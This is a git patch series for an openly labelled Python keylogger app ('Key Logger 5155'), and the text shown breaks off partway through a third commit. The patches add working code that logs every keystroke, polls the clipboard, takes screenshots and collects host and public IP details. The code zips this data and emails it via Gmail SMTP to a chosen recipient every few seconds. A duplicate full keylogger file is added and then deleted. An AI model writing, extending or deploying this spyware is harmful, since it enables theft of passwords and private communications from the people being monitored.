From 383ad89dc12c2bfa93830ae089721a0bae209f32 Mon Sep 17 00:00:00 2001 From: mukeshdhadhariya Date: Thu, 23 Oct 2025 15:40:19 +0530 Subject: [PATCH 1/5] feat(zip): Add feat of zip file details send through mail --- app/.gitignore | 4 +- app/guikeylogger.py | 157 ++++++++++++++++++++++++++++++++++++++++---- 2 files changed, 149 insertions(+), 12 deletions(-) diff --git a/app/.gitignore b/app/.gitignore index 49cc512..5c67bed 100644 --- a/app/.gitignore +++ b/app/.gitignore @@ -1,4 +1,6 @@ .env data/*.txt data/*.png -data/screenshots \ No newline at end of file +data/screenshots +data/*.zip +data/*.json \ No newline at end of file diff --git a/app/guikeylogger.py b/app/guikeylogger.py index 2125d0e..345e187 100644 --- a/app/guikeylogger.py +++ b/app/guikeylogger.py @@ -1,7 +1,10 @@ # Import necessary libraries import logging import os +import time import platform +import json +import zipfile import smtplib import socket import threading @@ -35,6 +38,11 @@ clipboard_information = "data/clipboard.txt" SCREENSHOT_DIR="data/screenshots" +DATA_DIR = "data" +SCREENSHOTS_DIR = os.path.join(DATA_DIR, "screenshots") +STATE_FILE = os.path.join(DATA_DIR, "last_email_state.json") +KEYLOG_EXTRA_BYTES = 2048 + # Retrieve email and password from environment variables email_address = os.getenv('email') password = os.getenv('pass') @@ -53,29 +61,156 @@ def on_closing(): root.destroy() -# Function to send email with attachment +def load_state(): + default = { + "last_email_time": 0.0, + "offsets": {"key_log": 0, "clipboard": 0, "systeminfo": 0}, + "sent_screenshots": [] + } + if not os.path.exists(STATE_FILE): + os.makedirs(DATA_DIR, exist_ok=True) + with open(STATE_FILE, "w") as f: + json.dump(default, f) + return default + try: + with open(STATE_FILE, "r") as f: + return json.load(f) + except: + return default + +def save_state(state): + with open(STATE_FILE, "w") as f: + json.dump(state, f) + +def read_from_offset(path, offset, extra_bytes=0): + if not os.path.exists(path): + return "", 0 + file_size = os.path.getsize(path) + start = max(0, offset - extra_bytes) + with open(path, "rb") as f: + f.seek(start) + data_bytes = f.read() + data = data_bytes.decode("utf-8", errors="replace") + return data, file_size + +def gather_screenshots(last_email_time, sent_list): + if not os.path.exists(SCREENSHOTS_DIR): + return [] + files = [] + for fname in sorted(os.listdir(SCREENSHOTS_DIR)): + fpath = os.path.join(SCREENSHOTS_DIR, fname) + if not os.path.isfile(fpath): + continue + try: + mtime = os.path.getmtime(fpath) + except: + continue + if mtime > last_email_time and fname not in sent_list: + files.append((fname, fpath, mtime)) + files.sort(key=lambda x: x[2]) + return files + +def make_zip(state): + os.makedirs(DATA_DIR, exist_ok=True) + timestamp = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ") + zip_name = f"bundle_{timestamp}.zip" + zip_path = os.path.join(DATA_DIR, zip_name) + + new_state_updates = {"offsets": {}, "sent_screenshots": []} + + with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z: + # Key log + key_log_path = os.path.join(DATA_DIR, "key_log.txt") + key_data, new_offset = read_from_offset(key_log_path, state["offsets"].get("key_log", 0), KEYLOG_EXTRA_BYTES) + if key_data: + z.writestr("key_log_recent.txt", key_data) + new_state_updates["offsets"]["key_log"] = new_offset + + # Clipboard recent data + clipboard_path = os.path.join(DATA_DIR, "clipboard.txt") + clip_data, new_clip_offset = read_from_offset(clipboard_path, state["offsets"].get("clipboard", 0)) + if clip_data: + z.writestr("clipboard_recent.txt", clip_data) + new_state_updates["offsets"]["clipboard"] = new_clip_offset + + # Clipboard full file (optional) + if os.path.exists(clipboard_path): + z.write(clipboard_path, arcname="clipboard_full.txt") + + + + # System info + sysinfo_path = os.path.join(DATA_DIR, "systeminfo.txt") + sys_data, new_sys_offset = read_from_offset(sysinfo_path, state["offsets"].get("systeminfo", 0)) + if sys_data: + z.writestr("systeminfo_recent.txt", sys_data) + new_state_updates["offsets"]["systeminfo"] = new_sys_offset + + # Screenshots + last_email_time = state.get("last_email_time", 0.0) + screenshots = gather_screenshots(last_email_time, state.get("sent_screenshots", [])) + for fname, fpath, mtime in screenshots: + arcname = os.path.join("screenshots", fname) + try: + z.write(fpath, arcname=arcname) + new_state_updates["sent_screenshots"].append(fname) + except: + continue + + return zip_path, new_state_updates + def send_email(filename, attachment, toaddr): + """ + Modified to send bundled zip with all recent logs and screenshots. + filename: will be replaced by generated zip filename + attachment: ignored, auto-handled + """ + # Load last state + state = load_state() + + # Create zip with recent logs/screenshots + zip_path, updates = make_zip(state) + filename = os.path.basename(zip_path) + + # Compose email fromaddr = email_address msg = MIMEMultipart() msg['From'] = fromaddr msg['To'] = toaddr - msg['Subject'] = "Log File" - body = "LOG file" + msg['Subject'] = "Keylogger Logs Bundle" + body = "Attached is the recent keylogger data bundle." msg.attach(MIMEText(body, 'plain')) - filename = filename - attachment = open(attachment, 'rb') - p = MIMEBase('application', 'octet-stream') - p.set_payload(attachment.read()) + + with open(zip_path, 'rb') as attachment_file: + p = MIMEBase('application', 'octet-stream') + p.set_payload(attachment_file.read()) encoders.encode_base64(p) - p.add_header('Content-Disposition', "attachment; filename= %s" % filename) + p.add_header('Content-Disposition', f"attachment; filename={filename}") msg.attach(p) + + # Send email s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login(fromaddr, password) - text = msg.as_string() - s.sendmail(fromaddr, toaddr, text) + s.sendmail(fromaddr, toaddr, msg.as_string()) s.quit() + # Delete zip after sending + try: + os.remove(zip_path) + except: + pass + + # Update state + new_state = state.copy() + new_state["last_email_time"] = time.time() + offsets = new_state.get("offsets", {}) + offsets.update(updates.get("offsets", {})) + new_state["offsets"] = offsets + sent = set(new_state.get("sent_screenshots", [])) + sent.update(updates.get("sent_screenshots", [])) + new_state["sent_screenshots"] = list(sent) + save_state(new_state) # Function to gather system information def computer_information(): @@ -183,7 +318,7 @@ def start_logger(): print(count) if stopFlag: break - if count % 30 == 0: + if count % 30 ==0 : copy_clipboard() if count == 0: screenshot() From be1b28011b3c1d1c1df5be94cdc63bb1a22cdd8a Mon Sep 17 00:00:00 2001 From: mukeshdhadhariya Date: Sun, 26 Oct 2025 23:08:49 +0530 Subject: [PATCH 2/5] feat(zip): create zip bundle of logs & send via email --- app/aaaa.py | 394 ++++++++++++++++++++++++++++++++++++++++++++ app/guikeylogger.py | 105 ++++++++---- config.json | 6 +- 3 files changed, 467 insertions(+), 38 deletions(-) create mode 100644 app/aaaa.py diff --git a/app/aaaa.py b/app/aaaa.py new file mode 100644 index 0000000..f69d4a4 --- /dev/null +++ b/app/aaaa.py @@ -0,0 +1,394 @@ +# Import necessary libraries +import logging +import os +import platform +import smtplib +import socket +import threading +import tkinter +import urllib.error +from email import encoders +from email.mime.base import MIMEBase +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from time import sleep +from tkinter import messagebox, StringVar, Tk +from urllib.request import urlopen + +from PIL import ImageGrab, Image, ImageTk +from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode, CTkImage +from dotenv import load_dotenv +from pynput.keyboard import Listener + +import glob +from datetime import datetime + +import json +import time + +_DEFAULT_CONFIG = { + "paths": { + "data_dir": "app/data", + "keys_file": "app/data/key_log.txt", + "system_file": "app/data/systeminfo.txt", + "clipboard_file": "app/data/clipboard.txt", + "screenshot_dir": "app/data/screenshots" + } +, + "intervals_seconds": { + "screenshot_interval": 900, + "email_interval": 900, + "clipboard_interval": 30, + "loop_sleep": 1 + }, + "screenshots": {"keep_latest": 10}, + "email": { + "smtp_host": "smtp.gmail.com", + "smtp_port": 587, + "from_env": True, + "from_address_env_var": "email", + "from_password_env_var": "pass" + }, + "gui": { + "icon": "cracking.ico", + "image": "cracking.png", + "window_title": "Key Logger 5155" + }, + "safety": {"require_confirm": True} +} + +def load_config(): + """Load ../config.json relative to this file, merge with defaults.""" + base_dir = os.path.dirname(os.path.abspath(__file__)) + config_path = os.path.join(base_dir, "..", "config.json") + cfg = _DEFAULT_CONFIG.copy() + + try: + with open(config_path, "r", encoding="utf-8") as f: + user_cfg = json.load(f) + except FileNotFoundError: + logging.warning(f"config.json not found at {config_path}, using defaults") + return cfg + except json.JSONDecodeError as e: + logging.error(f"Invalid config.json: {e}") + return cfg + + for top_key, top_val in user_cfg.items(): + if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict): + cfg[top_key].update(top_val) + else: + cfg[top_key] = top_val + return cfg + +# Load config once +config = load_config() + + +# Load environment variables +load_dotenv() + +# Configure logging +logging.basicConfig( + filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"), + level=logging.DEBUG, + format="%(asctime)s, %(message)s" +) + +# File paths for various log files +# Config-based paths and intervals +paths = config["paths"] +keys_information = paths["keys_file"] +system_information = paths["system_file"] +clipboard_information = paths["clipboard_file"] +SCREENSHOT_DIR = paths["screenshot_dir"] + +intervals = config["intervals_seconds"] +SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900)) +EMAIL_INTERVAL = int(intervals.get("email_interval", 900)) +CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30)) +LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0)) + +KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10)) + +email_cfg = config["email"] +SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com") +SMTP_PORT = int(email_cfg.get("smtp_port", 587)) + +# Load email credentials (prefer env) +if email_cfg.get("from_env", True): + email_address = os.getenv(email_cfg.get("from_address_env_var", "email")) + password = os.getenv(email_cfg.get("from_password_env_var", "pass")) +else: + email_address = email_cfg.get("from_address") + password = email_cfg.get("from_password") + +# Retrieve email and password from environment variables +email_address = os.getenv('email') +password = os.getenv('pass') + +# Global variables for email sending +toAddr = "" +state = 0 +stopFlag = False + + +# Function to handle closing of the application window +def on_closing(): + global stopFlag + if messagebox.askokcancel("Quit", "Do you want to quit?"): + stopFlag = True + root.destroy() + + +# Function to send email with attachment +def send_email(filename, attachment, toaddr): + fromaddr = email_address + msg = MIMEMultipart() + msg['From'] = fromaddr + msg['To'] = toaddr + msg['Subject'] = "Log File" + body = "LOG file" + msg.attach(MIMEText(body, 'plain')) + filename = filename + attachment = open(attachment, 'rb') + p = MIMEBase('application', 'octet-stream') + p.set_payload(attachment.read()) + encoders.encode_base64(p) + p.add_header('Content-Disposition', "attachment; filename= %s" % filename) + msg.attach(p) + s = smtplib.SMTP('smtp.gmail.com', 587) + s.starttls() + s.login(fromaddr, password) + text = msg.as_string() + s.sendmail(fromaddr, toaddr, text) + s.quit() + + +# Function to gather system information +def computer_information(): + with open(system_information, "a") as f: + hostname = socket.gethostname() + IPAddr = socket.gethostbyname(hostname) + + try: + with urlopen("https://api.ipify.org", timeout=10) as response: + public_ip = response.read().decode() + f.write(f"Public IP Address: {public_ip}\n") + except urllib.error.URLError: + # called if say there's something causing the connection request to fail + f.write("Public IP Address: Couldn't get Public IP Address\n") + + f.write("Processor: " + (platform.processor()) + '\n') + f.write("System: " + platform.system() + " " + platform.version() + '\n') + f.write("Machine: " + platform.machine() + "\n") + f.write("Hostname: " + hostname + "\n") + f.write("Private IP Address: " + IPAddr + "\n") + + +# Function to copy clipboard content +def copy_clipboard(): + with open(clipboard_information, "a") as f: + try: + r = Tk() + r.withdraw() + pasted_data = r.clipboard_get() + f.write("\nClipboard Data: \n" + pasted_data) + except tkinter.TclError: + f.write("\nClipboard could be not be copied") + + +# Function to take screenshot +def screenshot(): + os.makedirs(SCREENSHOT_DIR, exist_ok=True) + + timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + + screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png") + + im = ImageGrab.grab() + im.save(screenshot_information) + + print(f"Saved screenshot: {screenshot_information}") + limit_screenshots(SCREENSHOT_DIR, keep=10) + + + +def limit_screenshots(directory, keep=10): + + """Delete old screenshots if more than 'keep' exist.""" + + screenshots = sorted( + glob.glob(os.path.join(directory, "*.png")), + key=os.path.getmtime + ) + + if len(screenshots) > keep: + for old_file in screenshots[:-keep]: + try: + os.remove(old_file) + print(f"Deleted old screenshot: {old_file}") + except Exception as e: + print(f"Error deleting {old_file}: {e}") + + + +# Global variables for key logging +count = 0 +keys = [] + + +# Function to handle key press event +def on_press(key): + global keys, count + print(key) + keys.append(key) + count += 1 + if count >= 1: + count = 0 + write_file(keys) + keys = [] + + +# Function to write key logs to file +def write_file(keys): + for key in keys: + k = str(key).replace("'", "") + logging.info(k) + + +listener = Listener(on_press=on_press) + + +# Function to start keylogger +def start_logger(): + global listener, toAddr, btnStr, stopFlag + listener.start() + btnStr.set("Stop Keylogger") + + screenshot() + last_screenshot = time.time() + last_clipboard = time.time() + last_email = time.time() + + while True: + if stopFlag: + break + + now = time.time() + + # Clipboard capture + if now - last_clipboard >= CLIPBOARD_INTERVAL: + try: + copy_clipboard() + except Exception as e: + logging.error(f"Clipboard error: {e}") + last_clipboard = now + + # Screenshot capture + if now - last_screenshot >= SCREENSHOT_INTERVAL: + try: + screenshot() + except Exception as e: + logging.error(f"Screenshot error: {e}") + last_screenshot = now + + # Email send + if now - last_email >= EMAIL_INTERVAL: + if email_address and password and toAddr: + try: + send_email(keys_information, keys_information, toAddr) + except Exception as e: + logging.error(f"Email send failed: {e}") + last_email = now + + time.sleep(LOOP_SLEEP) + + listener.stop() + btnStr.set("Start Keylogger") + listener = Listener(on_press=on_press) + + + +# Function to handle button click event +def on_button_click(): + global state, toAddr, listener, stopFlag, receiver_entry, btnStr + toAddr = receiver_entry.get() + + current_state = receiver_entry.cget("state") + + if current_state == 'normal': + receiver_entry.configure(state="disabled") + btnStr.set("Starting...") + else: + receiver_entry.configure(state="normal") + btnStr.set("Stopping...") + if state == 0: + state = 1 + print(state) + stopFlag = False + thread = threading.Thread(target=start_logger) + thread.start() + elif state == 1: + state = 0 + print(state) + stopFlag = True + btnStr.set("Start Keylogger") + + +# Create the root window +set_appearance_mode("dark") +root = CTk() # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter +root.geometry("800x600") +root.resizable(False, False) +root.protocol("WM_DELETE_WINDOW", on_closing) + +# Main frame to hold all widgets and center them +main_frame = CTkFrame(root, fg_color="transparent") +main_frame.pack(expand=True) + +# Set initial button text +btnStr = StringVar() +btnStr.set("Start Keylogger") + +# Load and set icon on Title bar +base_dir = os.path.dirname(os.path.abspath(__file__)) +icon_path = os.path.join(base_dir, "data", "cracking.ico") +img_path = os.path.join(os.path.dirname(__file__), "cracking.png") +image = Image.open(img_path) + +icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico") +root.after(201, lambda: root.iconbitmap(icon_path)) +image = Image.open(img_path) + +resize_image = image.resize((300, 300)) +img = CTkImage(light_image=resize_image, size=(240, 240)) +icon = CTkLabel(main_frame, image=img, text="") +icon.pack(pady=(20, 0)) + +# Set window title +root.title("Key Logger 5155") + +# Display title label +Title = CTkLabel(main_frame, text="Key Logger 5155", font=("Cascadia Code", 50, "bold"), text_color="#00ff00") +Title.pack(pady=(10, 20)) + +# Frame for input widgets +InputFrame = CTkFrame(main_frame, fg_color="transparent") +InputFrame.pack(pady=10) + +# Widgets for email address entry +receiver_label = CTkLabel(InputFrame, text="Recipient's E-mail Address : ", font=("Cascadia Code", 13, "bold"), + text_color="#00ff00") +receiver_entry = CTkEntry(InputFrame, width=300, font=("Cascadia Code", 13, "bold"), + placeholder_text="Enter recipient's email...", border_color="#00ff00", border_width=2) +receiver_entry.grid(row=0, column=1, padx=10) +receiver_label.grid(row=0, column=0) + +# Button to start/stop keylogger +button = CTkButton(main_frame, textvariable=btnStr, command=on_button_click, width=200, + font=("Cascadia Code", 13, "bold"), fg_color="#00ff00", hover_color="#008F11", + text_color="#000000", corner_radius=6, border_width=2, border_color="#000000") +button.pack(pady=20) + +# Run the main event loop +root.mainloop() \ No newline at end of file diff --git a/app/guikeylogger.py b/app/guikeylogger.py index 8f98caa..85d9d42 100644 --- a/app/guikeylogger.py +++ b/app/guikeylogger.py @@ -1,17 +1,18 @@ # Import necessary libraries import logging import os -import time import platform -import json -import zipfile import smtplib import socket import threading +import zipfile import tkinter +from typing import Tuple +import tempfile import urllib.error from email import encoders from email.mime.base import MIMEBase +from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from time import sleep @@ -24,10 +25,12 @@ from pynput.keyboard import Listener import glob -from datetime import datetime +from datetime import datetime, timezone +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger(__name__) import json -import time +import time _DEFAULT_CONFIG = { "paths": { @@ -39,9 +42,9 @@ } , "intervals_seconds": { - "screenshot_interval": 900, - "email_interval": 900, - "clipboard_interval": 30, + "screenshot_interval": 9, + "email_interval": 9, + "clipboard_interval": 3, "loop_sleep": 1 }, "screenshots": {"keep_latest": 10}, @@ -106,12 +109,15 @@ def load_config(): SCREENSHOT_DIR = paths["screenshot_dir"] intervals = config["intervals_seconds"] -SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900)) -EMAIL_INTERVAL = int(intervals.get("email_interval", 900)) -CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30)) +SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 9)) +EMAIL_INTERVAL = int(intervals.get("email_interval", 9)) +CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 3)) LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0)) +data_dir = _DEFAULT_CONFIG["paths"]["data_dir"] KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10)) +STATE_FILE = os.path.join(data_dir, "last_email_state.json") +KEYLOG_EXTRA_BYTES = 32 * 1024 email_cfg = config["email"] SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com") @@ -142,7 +148,6 @@ def on_closing(): stopFlag = True root.destroy() - def load_state(): default = { "last_email_time": 0.0, @@ -150,7 +155,7 @@ def load_state(): "sent_screenshots": [] } if not os.path.exists(STATE_FILE): - os.makedirs(DATA_DIR, exist_ok=True) + os.makedirs(data_dir, exist_ok=True) with open(STATE_FILE, "w") as f: json.dump(default, f) return default @@ -164,23 +169,47 @@ def save_state(state): with open(STATE_FILE, "w") as f: json.dump(state, f) -def read_from_offset(path, offset, extra_bytes=0): - if not os.path.exists(path): +def read_from_offset(path, offset, extra_bytes=0, prefer_tail=False): + """ + Read robustly from `path`. Returns (decoded_string, current_file_size). + - If prefer_tail True: ignore offset and return up to the last extra_bytes of file. + - Otherwise: read from max(0, offset - extra_bytes) to EOF. If offset > file_size -> return "". + """ + try: + if not os.path.exists(path): + return "", 0 + file_size = os.path.getsize(path) + + if prefer_tail and extra_bytes > 0: + start = max(0, file_size - extra_bytes) + else: + offset = max(0, int(offset)) + # if offset beyond EOF, there's nothing new; return empty and current size + if offset > file_size: + return "", file_size + start = max(0, offset - extra_bytes) + + # Try a safe read; on Windows a writer might keep an exclusive lock. + # As a fallback, attempt to copy to a temp file and read that (optional). + with open(path, "rb") as f: + if start > file_size: + start = file_size + f.seek(start) + data_bytes = f.read() + + data = data_bytes.decode("utf-8", errors="replace") + return data, file_size + + except Exception as e: + # replace with logging in your app: logging.exception("read_from_offset failed") return "", 0 - file_size = os.path.getsize(path) - start = max(0, offset - extra_bytes) - with open(path, "rb") as f: - f.seek(start) - data_bytes = f.read() - data = data_bytes.decode("utf-8", errors="replace") - return data, file_size def gather_screenshots(last_email_time, sent_list): - if not os.path.exists(SCREENSHOTS_DIR): + if not os.path.exists(SCREENSHOT_DIR): return [] files = [] - for fname in sorted(os.listdir(SCREENSHOTS_DIR)): - fpath = os.path.join(SCREENSHOTS_DIR, fname) + for fname in sorted(os.listdir(SCREENSHOT_DIR)): + fpath = os.path.join(SCREENSHOT_DIR, fname) if not os.path.isfile(fpath): continue try: @@ -193,23 +222,27 @@ def gather_screenshots(last_email_time, sent_list): return files def make_zip(state): - os.makedirs(DATA_DIR, exist_ok=True) - timestamp = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ") + os.makedirs(data_dir, exist_ok=True) + timestamp = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ") zip_name = f"bundle_{timestamp}.zip" - zip_path = os.path.join(DATA_DIR, zip_name) + zip_path = os.path.join(data_dir, zip_name) new_state_updates = {"offsets": {}, "sent_screenshots": []} with zipfile.ZipFile(zip_path, "w", compression=zipfile.ZIP_DEFLATED) as z: # Key log - key_log_path = os.path.join(DATA_DIR, "key_log.txt") - key_data, new_offset = read_from_offset(key_log_path, state["offsets"].get("key_log", 0), KEYLOG_EXTRA_BYTES) + key_log_path = os.path.join(data_dir, "key_log.txt") + key_offset = state.get("offsets", {}).get("key_log", 0) + key_data, new_offset = read_from_offset( + key_log_path, key_offset, extra_bytes=KEYLOG_EXTRA_BYTES, prefer_tail=True + ) if key_data: z.writestr("key_log_recent.txt", key_data) new_state_updates["offsets"]["key_log"] = new_offset + # Clipboard recent data - clipboard_path = os.path.join(DATA_DIR, "clipboard.txt") + clipboard_path = os.path.join(data_dir, "clipboard.txt") clip_data, new_clip_offset = read_from_offset(clipboard_path, state["offsets"].get("clipboard", 0)) if clip_data: z.writestr("clipboard_recent.txt", clip_data) @@ -222,7 +255,7 @@ def make_zip(state): # System info - sysinfo_path = os.path.join(DATA_DIR, "systeminfo.txt") + sysinfo_path = os.path.join(data_dir, "systeminfo.txt") sys_data, new_sys_offset = read_from_offset(sysinfo_path, state["offsets"].get("systeminfo", 0)) if sys_data: z.writestr("systeminfo_recent.txt", sys_data) @@ -241,6 +274,7 @@ def make_zip(state): return zip_path, new_state_updates +# --- Email utility (robust, uses SMTP_HOST/SMTP_PORT from config) --- def send_email(filename, attachment, toaddr): """ Modified to send bundled zip with all recent logs and screenshots. @@ -276,7 +310,6 @@ def send_email(filename, attachment, toaddr): s.login(fromaddr, password) s.sendmail(fromaddr, toaddr, msg.as_string()) s.quit() - # Delete zip after sending try: os.remove(zip_path) @@ -418,6 +451,7 @@ def start_logger(): if now - last_screenshot >= SCREENSHOT_INTERVAL: try: screenshot() + computer_information() except Exception as e: logging.error(f"Screenshot error: {e}") last_screenshot = now @@ -426,7 +460,9 @@ def start_logger(): if now - last_email >= EMAIL_INTERVAL: if email_address and password and toAddr: try: + print("before") send_email(keys_information, keys_information, toAddr) + print("after") except Exception as e: logging.error(f"Email send failed: {e}") last_email = now @@ -438,7 +474,6 @@ def start_logger(): listener = Listener(on_press=on_press) - # Function to handle button click event def on_button_click(): global state, toAddr, listener, stopFlag, receiver_entry, btnStr @@ -521,4 +556,4 @@ def on_button_click(): button.pack(pady=20) # Run the main event loop -root.mainloop() +root.mainloop() \ No newline at end of file diff --git a/config.json b/config.json index 64933e3..cbad011 100644 --- a/config.json +++ b/config.json @@ -7,9 +7,9 @@ "screenshot_dir": "data/screenshots" }, "intervals_seconds": { - "screenshot_interval": 900, - "email_interval": 900, - "clipboard_interval": 30, + "screenshot_interval": 9, + "email_interval": 9, + "clipboard_interval": 3, "loop_sleep": 1 }, "screenshots": { From 6726dbdad5fcb6877e4b52209f79cfa6218b53b7 Mon Sep 17 00:00:00 2001 From: mukeshdhadhariya Date: Sun, 26 Oct 2025 23:09:30 +0530 Subject: [PATCH 3/5] feat(zip): create zip bundle of logs & send via email --- app/aaaa.py | 394 ---------------------------------------------------- 1 file changed, 394 deletions(-) delete mode 100644 app/aaaa.py diff --git a/app/aaaa.py b/app/aaaa.py deleted file mode 100644 index f69d4a4..0000000 --- a/app/aaaa.py +++ /dev/null @@ -1,394 +0,0 @@ -# Import necessary libraries -import logging -import os -import platform -import smtplib -import socket -import threading -import tkinter -import urllib.error -from email import encoders -from email.mime.base import MIMEBase -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText -from time import sleep -from tkinter import messagebox, StringVar, Tk -from urllib.request import urlopen - -from PIL import ImageGrab, Image, ImageTk -from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode, CTkImage -from dotenv import load_dotenv -from pynput.keyboard import Listener - -import glob -from datetime import datetime - -import json -import time - -_DEFAULT_CONFIG = { - "paths": { - "data_dir": "app/data", - "keys_file": "app/data/key_log.txt", - "system_file": "app/data/systeminfo.txt", - "clipboard_file": "app/data/clipboard.txt", - "screenshot_dir": "app/data/screenshots" - } -, - "intervals_seconds": { - "screenshot_interval": 900, - "email_interval": 900, - "clipboard_interval": 30, - "loop_sleep": 1 - }, - "screenshots": {"keep_latest": 10}, - "email": { - "smtp_host": "smtp.gmail.com", - "smtp_port": 587, - "from_env": True, - "from_address_env_var": "email", - "from_password_env_var": "pass" - }, - "gui": { - "icon": "cracking.ico", - "image": "cracking.png", - "window_title": "Key Logger 5155" - }, - "safety": {"require_confirm": True} -} - -def load_config(): - """Load ../config.json relative to this file, merge with defaults.""" - base_dir = os.path.dirname(os.path.abspath(__file__)) - config_path = os.path.join(base_dir, "..", "config.json") - cfg = _DEFAULT_CONFIG.copy() - - try: - with open(config_path, "r", encoding="utf-8") as f: - user_cfg = json.load(f) - except FileNotFoundError: - logging.warning(f"config.json not found at {config_path}, using defaults") - return cfg - except json.JSONDecodeError as e: - logging.error(f"Invalid config.json: {e}") - return cfg - - for top_key, top_val in user_cfg.items(): - if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict): - cfg[top_key].update(top_val) - else: - cfg[top_key] = top_val - return cfg - -# Load config once -config = load_config() - - -# Load environment variables -load_dotenv() - -# Configure logging -logging.basicConfig( - filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"), - level=logging.DEBUG, - format="%(asctime)s, %(message)s" -) - -# File paths for various log files -# Config-based paths and intervals -paths = config["paths"] -keys_information = paths["keys_file"] -system_information = paths["system_file"] -clipboard_information = paths["clipboard_file"] -SCREENSHOT_DIR = paths["screenshot_dir"] - -intervals = config["intervals_seconds"] -SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900)) -EMAIL_INTERVAL = int(intervals.get("email_interval", 900)) -CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30)) -LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0)) - -KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10)) - -email_cfg = config["email"] -SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com") -SMTP_PORT = int(email_cfg.get("smtp_port", 587)) - -# Load email credentials (prefer env) -if email_cfg.get("from_env", True): - email_address = os.getenv(email_cfg.get("from_address_env_var", "email")) - password = os.getenv(email_cfg.get("from_password_env_var", "pass")) -else: - email_address = email_cfg.get("from_address") - password = email_cfg.get("from_password") - -# Retrieve email and password from environment variables -email_address = os.getenv('email') -password = os.getenv('pass') - -# Global variables for email sending -toAddr = "" -state = 0 -stopFlag = False - - -# Function to handle closing of the application window -def on_closing(): - global stopFlag - if messagebox.askokcancel("Quit", "Do you want to quit?"): - stopFlag = True - root.destroy() - - -# Function to send email with attachment -def send_email(filename, attachment, toaddr): - fromaddr = email_address - msg = MIMEMultipart() - msg['From'] = fromaddr - msg['To'] = toaddr - msg['Subject'] = "Log File" - body = "LOG file" - msg.attach(MIMEText(body, 'plain')) - filename = filename - attachment = open(attachment, 'rb') - p = MIMEBase('application', 'octet-stream') - p.set_payload(attachment.read()) - encoders.encode_base64(p) - p.add_header('Content-Disposition', "attachment; filename= %s" % filename) - msg.attach(p) - s = smtplib.SMTP('smtp.gmail.com', 587) - s.starttls() - s.login(fromaddr, password) - text = msg.as_string() - s.sendmail(fromaddr, toaddr, text) - s.quit() - - -# Function to gather system information -def computer_information(): - with open(system_information, "a") as f: - hostname = socket.gethostname() - IPAddr = socket.gethostbyname(hostname) - - try: - with urlopen("https://api.ipify.org", timeout=10) as response: - public_ip = response.read().decode() - f.write(f"Public IP Address: {public_ip}\n") - except urllib.error.URLError: - # called if say there's something causing the connection request to fail - f.write("Public IP Address: Couldn't get Public IP Address\n") - - f.write("Processor: " + (platform.processor()) + '\n') - f.write("System: " + platform.system() + " " + platform.version() + '\n') - f.write("Machine: " + platform.machine() + "\n") - f.write("Hostname: " + hostname + "\n") - f.write("Private IP Address: " + IPAddr + "\n") - - -# Function to copy clipboard content -def copy_clipboard(): - with open(clipboard_information, "a") as f: - try: - r = Tk() - r.withdraw() - pasted_data = r.clipboard_get() - f.write("\nClipboard Data: \n" + pasted_data) - except tkinter.TclError: - f.write("\nClipboard could be not be copied") - - -# Function to take screenshot -def screenshot(): - os.makedirs(SCREENSHOT_DIR, exist_ok=True) - - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png") - - im = ImageGrab.grab() - im.save(screenshot_information) - - print(f"Saved screenshot: {screenshot_information}") - limit_screenshots(SCREENSHOT_DIR, keep=10) - - - -def limit_screenshots(directory, keep=10): - - """Delete old screenshots if more than 'keep' exist.""" - - screenshots = sorted( - glob.glob(os.path.join(directory, "*.png")), - key=os.path.getmtime - ) - - if len(screenshots) > keep: - for old_file in screenshots[:-keep]: - try: - os.remove(old_file) - print(f"Deleted old screenshot: {old_file}") - except Exception as e: - print(f"Error deleting {old_file}: {e}") - - - -# Global variables for key logging -count = 0 -keys = [] - - -# Function to handle key press event -def on_press(key): - global keys, count - print(key) - keys.append(key) - count += 1 - if count >= 1: - count = 0 - write_file(keys) - keys = [] - - -# Function to write key logs to file -def write_file(keys): - for key in keys: - k = str(key).replace("'", "") - logging.info(k) - - -listener = Listener(on_press=on_press) - - -# Function to start keylogger -def start_logger(): - global listener, toAddr, btnStr, stopFlag - listener.start() - btnStr.set("Stop Keylogger") - - screenshot() - last_screenshot = time.time() - last_clipboard = time.time() - last_email = time.time() - - while True: - if stopFlag: - break - - now = time.time() - - # Clipboard capture - if now - last_clipboard >= 